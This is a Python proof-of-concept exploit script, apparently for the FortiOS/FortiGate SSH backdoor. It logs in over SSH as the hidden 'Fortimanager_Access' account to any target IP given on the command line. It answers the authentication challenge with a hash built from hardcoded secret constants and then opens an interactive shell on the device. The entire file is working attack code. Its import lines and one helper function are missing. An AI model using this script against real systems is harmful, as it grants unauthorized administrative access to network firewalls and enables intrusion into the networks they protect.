FROTIGATE_poc.py

#!/usr/bin/env python
# encoding: utf-8

def custom_handler(title, instructions, prompt_list):

    n = prompt_list[0][0]

    m = hashlib.sha1()

    m.update('\x00' * 12)

    m.update(n + 'FGTAbc11*xy+Qqz27')

    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')

    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())

    return [h]





def main():

    if len(sys.argv) < 2:

        print 'Usage: ' + sys.argv[0] + ' <target-ip>'

        exit(-1)



    client = paramiko.SSHClient()

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())



    try:

        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)

    except paramiko.ssh_exception.SSHException:

        pass



    trans = client.get_transport()

    try:

        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)

    except paramiko.ssh_exception.AuthenticationException:

        pass



    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)

    chan = client.invoke_shell()



    oldtty = termios.tcgetattr(sys.stdin)

    try:

        tty.setraw(sys.stdin.fileno())

        tty.setcbreak(sys.stdin.fileno())

        chan.settimeout(0.0)



        while True:

            r, w, e = select.select([chan, sys.stdin], [], [])

            if chan in r:

                try:

                    x = u(chan.recv(1024))

                    if len(x) == 0:

                        sys.stdout.write('\r\n*** EOF\r\n')

                        break

                    sys.stdout.write(x)

                    sys.stdout.flush()

                except socket.timeout:

                    pass

            if sys.stdin in r:

                x = sys.stdin.read(1)

                if len(x) == 0:

                    break

                chan.send(x)



    finally:

        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)





if __name__ == '__main__':

    main()